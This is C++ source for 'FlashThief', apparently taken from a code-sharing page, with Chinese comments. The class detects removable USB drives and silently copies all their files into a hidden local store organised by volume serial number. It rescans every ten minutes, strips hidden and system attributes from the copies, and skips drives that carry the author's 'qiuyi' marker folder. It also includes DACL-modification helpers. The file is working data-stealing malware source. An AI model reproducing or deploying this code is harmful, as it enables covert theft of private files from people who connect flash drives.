📄 flashthief.cpp
字号:
ea.Trustee.ptstrName = pszTrustee;
// Create a new ACL that merges the new ACE
// into the existing DACL.
dwRes = SetEntriesInAcl(1, &ea, pOldDACL, &pNewDACL);
if (dwRes == ERROR_SUCCESS)
{
// Attach the new ACL as the object's DACL.
dwRes = SetNamedSecurityInfo(pszObjName, ObjectType,
DACL_SECURITY_INFORMATION,
NULL, NULL, pNewDACL, NULL);
}
}
if(pSD != NULL)
LocalFree((HLOCAL)pSD);
if (pNewDACL != NULL)
LocalFree((HLOCAL)pNewDACL);
return dwRes;
}
BOOL FlashThief::CheckCreateDir(LPCTSTR lpPathName,
bool bCreateParent,
LPSECURITY_ATTRIBUTES lpSecurityAttributes)
{
if (lpPathName == NULL)
return FALSE;
BOOL bReturn = FALSE;
LPTSTR lpChr = NULL;
size_t uLen = _tcslen(lpPathName);
LPTSTR pszPath = new TCHAR[uLen + 1];
if (pszPath == NULL)
return FALSE;
_tcscpy_s(pszPath, uLen + 1, lpPathName);
TrimRight(pszPath, PATH_SEPARATOR_C, &uLen);
if (bCreateParent) // 获取路径的父路径
{
lpChr = _tcsrchr(pszPath, PATH_SEPARATOR_C);
if (lpChr != NULL)
*lpChr = _T('\0');
}
if (FileExists(pszPath, true))
{
bReturn = TRUE; // 如果文件夹已经存在则返回 TRUE
goto __Cleanup;
}
lpChr = _tcschr(pszPath, PATH_SEPARATOR_C);
while (lpChr != NULL)
{
*lpChr = _T('\0');
if (!FileExists(pszPath, true))
{
if (FileExists(pszPath))
_DeleteFile(pszPath);
if (!CreateDirectory(pszPath, lpSecurityAttributes))
{
bReturn = FALSE; //如果创建文件夹失败则返回 FALSE
goto __Cleanup;
}
}
*lpChr = PATH_SEPARATOR_C;
lpChr = _tcschr(lpChr + 1, PATH_SEPARATOR_C);
}
// 创建最后一层目录,返回创建结果判断是否完全成功
if (FileExists(pszPath))
_DeleteFile(pszPath);
bReturn = CreateDirectory(pszPath, lpSecurityAttributes);
__Cleanup:
delete []pszPath;
return bReturn;
}
void FlashThief::GetDateTimeString(LPTSTR lpDst, size_t DstSize, bool bIncludeTime)
{
if (lpDst == NULL) return;
SYSTEMTIME st;
GetLocalTime(&st);
if (bIncludeTime)
{
swprintf_s(lpDst, DstSize,
_T("%u-%u-%u %u:%u:%u"),
st.wYear,
st.wMonth,
st.wDay,
st.wHour,
st.wMinute,
st.wSecond);
}
else
{
swprintf_s(lpDst, DstSize,
_T("%u-%u-%u"),
st.wYear,
st.wMonth,
st.wDay);
}
}
bool FlashThief::IsFlashDisk(LPCTSTR lpRootPathName)
{
return (GetDriveType(lpRootPathName) == DRIVE_REMOVABLE);
}
BOOL FlashThief::_CopyFile(LPCTSTR lpExistingFileName, LPCTSTR lpNewFileName)
{
if (!CheckCreateDir(lpNewFileName))
return FALSE;
BOOL bResult = CopyFileEx(lpExistingFileName, lpNewFileName,
(LPPROGRESS_ROUTINE)CopyProgress, NULL, FALSE, COPY_FILE_FAIL_IF_EXISTS);
// 如果因为目标文件存在而复制文件失败,则比较文件大小,如果不相同则删除目标再复制
if (!bResult && (GetLastError() == ERROR_FILE_EXISTS || GetLastError() == ERROR_ACCESS_DENIED))
{
DWORD dwFileSize[] = { 0, 0, 0, 0 };
HANDLE hFind = INVALID_HANDLE_VALUE;
WIN32_FIND_DATA FindFileData;
hFind = FindFirstFile(lpNewFileName, &FindFileData);
if (hFind != INVALID_HANDLE_VALUE)
{
dwFileSize[0] = FindFileData.nFileSizeHigh;
dwFileSize[1] = FindFileData.nFileSizeLow;
}
FindClose(hFind);
hFind = FindFirstFile(lpExistingFileName, &FindFileData);
if (hFind != INVALID_HANDLE_VALUE)
{
dwFileSize[2] = FindFileData.nFileSizeHigh;
dwFileSize[3] = FindFileData.nFileSizeLow;
}
FindClose(hFind);
if (dwFileSize[0] != dwFileSize[2] || dwFileSize[1] != dwFileSize[3])
{
RecursiveDelete(lpNewFileName, 0, false);
bResult = CopyFileEx(lpExistingFileName, lpNewFileName,
(LPPROGRESS_ROUTINE)CopyProgress, NULL, FALSE, COPY_FILE_FAIL_IF_EXISTS);
}
}
// 如果复制文件成功,去掉文件属性(系统、隐藏、只读...)
if (bResult)
SetFileAttributes(lpNewFileName, FILE_ATTRIBUTE_NORMAL);
return bResult;
}
void FlashThief::GetFiles(LPCTSTR lpSrcPathName, LPCTSTR lpDstPathName, bool bCheckSteal)
{
TCHAR szSrcPath[MAX_PATH];
size_t nSrcLen = _tcslen(lpSrcPathName);
_tcscpy_s(szSrcPath, MAX_PATH, lpSrcPathName);
TrimRight(szSrcPath, PATH_SEPARATOR_C, &nSrcLen);
LPTSTR lpChr = szSrcPath + nSrcLen;//指向字符串末尾“\0”
nSrcLen = MAX_PATH - nSrcLen;
if (bCheckSteal)
{
_tcscpy_s(lpChr, nSrcLen, _T("\\qiuyi"));
if (FileExists(szSrcPath, true))//如果源路径下存在以“qiuyi”为名的文件夹则退出
return;
}
_tcscpy_s(lpChr, nSrcLen, _T("\\*"));
HANDLE hFind = INVALID_HANDLE_VALUE;
WIN32_FIND_DATA FindFileData;
hFind = FindFirstFile(szSrcPath, &FindFileData);
if (hFind != INVALID_HANDLE_VALUE)
{
LPTSTR lpDstEnd = NULL;
TCHAR szSrcFilePath[MAX_PATH];
TCHAR szDstFilePath[MAX_PATH];
size_t nDstLen = 0;
nSrcLen = lpChr - szSrcPath;
_tcsncpy_s(szSrcFilePath, MAX_PATH, szSrcPath, nSrcLen);
lpChr = szSrcFilePath + nSrcLen;
nSrcLen = MAX_PATH - nSrcLen;
nDstLen = _tcslen(lpDstPathName);
_tcscpy_s(szDstFilePath, MAX_PATH, lpDstPathName);
TrimRight(szDstFilePath, PATH_SEPARATOR_C, &nDstLen);
lpDstEnd = szDstFilePath + nDstLen;
nDstLen = MAX_PATH - nDstLen;
do
{
if (IsDotsDirectory(FindFileData.cFileName))
continue;
swprintf_s(lpChr, nSrcLen, _T("\\%s"), FindFileData.cFileName);
swprintf_s(lpDstEnd, nDstLen, _T("\\%s"), FindFileData.cFileName);
if ((FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) == FILE_ATTRIBUTE_DIRECTORY)
{
GetFiles(szSrcFilePath, szDstFilePath, false);
}
else
{
_CopyFile(szSrcFilePath, szDstFilePath);
}
} while (m_iStatus == STEAL_RUNNING && FindNextFile(hFind, &FindFileData));
}
FindClose(hFind);
}
void FlashThief::StealFiles()
{
// 获取可用磁盘驱动器的位码
DWORD dwLogicalDrives = GetLogicalDrives();
// 记录磁盘卷序列号
DWORD dwVolumeSN = 0;
// 要检测的磁盘驱动器
TCHAR szDrive[] = _T("A:\\");
// 标记磁盘的总文件大小是否超过限制
bool bDriveIsLarge = false;
ULARGE_INTEGER TotalBytes;
ULARGE_INTEGER FreeBytes;
// 获取到文件后的存放路径
TCHAR szStorePath[MAX_PATH];
for (int i = 0; i < 26 && dwLogicalDrives > 0 && m_iStatus == STEAL_RUNNING; i++)
{
if ((dwLogicalDrives & 1) == 1)
{
szDrive[0] = _T('A') + i;
if (IsFlashDisk(szDrive) && GetVolumeInformation(szDrive, NULL, 0, &dwVolumeSN, NULL, NULL, NULL, 0))
{
// 检测硬盘的总文件大小是否超过限制
bDriveIsLarge = false;
if (m_dwMaxFileSizes > 0 &&
GetDiskFreeSpaceEx(szDrive, NULL, &TotalBytes, &FreeBytes) &&
(TotalBytes.QuadPart - FreeBytes.QuadPart) / 8 / 1024 > m_dwMaxFileSizes)
{
bDriveIsLarge = true;
}
if (!bDriveIsLarge)
{
// 利用磁盘卷序列号构造当前磁盘文件的存放路径
swprintf_s(szStorePath, MAX_PATH, _T("%s\\%u"), m_lpStorePath, dwVolumeSN);
// 是否需要获取文件,这里是为了防止不停地遍历目标磁盘文件
if (NeedfulChecking(szStorePath, dwVolumeSN))
{
// 开始获取文件到储存目录
GetFiles(szDrive, szStorePath);
// 记录获取的时间信息
SetStealedInfo(szStorePath, dwVolumeSN);
}
}
}
}
dwLogicalDrives = dwLogicalDrives >> 1;
}
}
void FlashThief::SetStealedInfo(LPCTSTR lpStorePath, DWORD dwVolumeSN)
{
TCHAR szProfilePath[MAX_PATH];
TCHAR szBuffer[25];
time_t ltime;
swprintf_s(szProfilePath, MAX_PATH, _T("%s\\%u.ini"), lpStorePath, dwVolumeSN);
if (GetValue(szBuffer, 25, PROFILE_KEY_COMPLETE_TIME, szProfilePath) < 1)
{
GetDateTimeString(szBuffer, 25, true);
SetValue(PROFILE_KEY_COMPLETE_TIME, szBuffer, szProfilePath);
}
time(<ime);
if (_i64tow_s(ltime, szBuffer, 25, 10) == 0)
SetValue(PROFILE_KEY_LASTCHECK_TIME, szBuffer, szProfilePath);
}
bool FlashThief::NeedfulChecking(LPCTSTR lpStorePath, DWORD dwVolumeSN)
{
TCHAR szProfilePath[MAX_PATH];
TCHAR szTime[25];
time_t ltime;
swprintf_s(szProfilePath, MAX_PATH, _T("%s\\%u.ini"), lpStorePath, dwVolumeSN);
if (GetValue(szTime, 25, PROFILE_KEY_LASTCHECK_TIME, szProfilePath) > 0)
{
time(<ime);
ltime -= _wtoi64(szTime);
// 这里设置隔600秒重新遍历可移动磁盘驱动器
return (ltime > 600);
}
return true;
}
DWORD FlashThief::CopyProgress(LARGE_INTEGER TotalFileSize,
LARGE_INTEGER TotalBytesTransferred,
LARGE_INTEGER StreamSize,
LARGE_INTEGER StreamBytesTransferred,
DWORD dwStreamNumber,
DWORD dwCallbackReason,
HANDLE hSourceFile,
HANDLE hDestinationFile,
LPVOID lpData)
{
// 如果请求停止获取文件则取消当前复制的文件
return _Thief.m_iStatus == STEAL_RUNNING ? PROGRESS_CONTINUE : PROGRESS_CANCEL;
}
DWORD FlashThief::GetValue(LPTSTR lpBuffer, DWORD dwBufferSize, LPCTSTR lpKeyName, LPCTSTR lpFilePath)
{
return GetPrivateProfileString(PROFILE_APPNAME, lpKeyName, NULL, lpBuffer, dwBufferSize, lpFilePath);
}
BOOL FlashThief::SetValue(LPCTSTR lpKeyName, LPCTSTR lpValue, LPCTSTR lpFilePath)
{
BOOL bResult = FALSE;
bool bBuffer = false;
if (lpValue != NULL && (_tcschr(lpValue, _T(' ')) != NULL || _tcschr(lpValue, _T('"')) != NULL))
{
size_t nLen = _tcslen(lpValue) + 3;
LPWSTR lpBuf = new WCHAR[nLen];
if (lpBuf != NULL)
{
bBuffer = true;
swprintf_s(lpBuf, nLen, _T("\"%s\""), lpValue);
bResult = WritePrivateProfileString(PROFILE_APPNAME, lpKeyName, lpBuf, lpFilePath);
delete []lpBuf;
}
}
if (!bResult && !bBuffer)
bResult = WritePrivateProfileString(PROFILE_APPNAME, lpKeyName, lpValue, lpFilePath);
return bResult;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -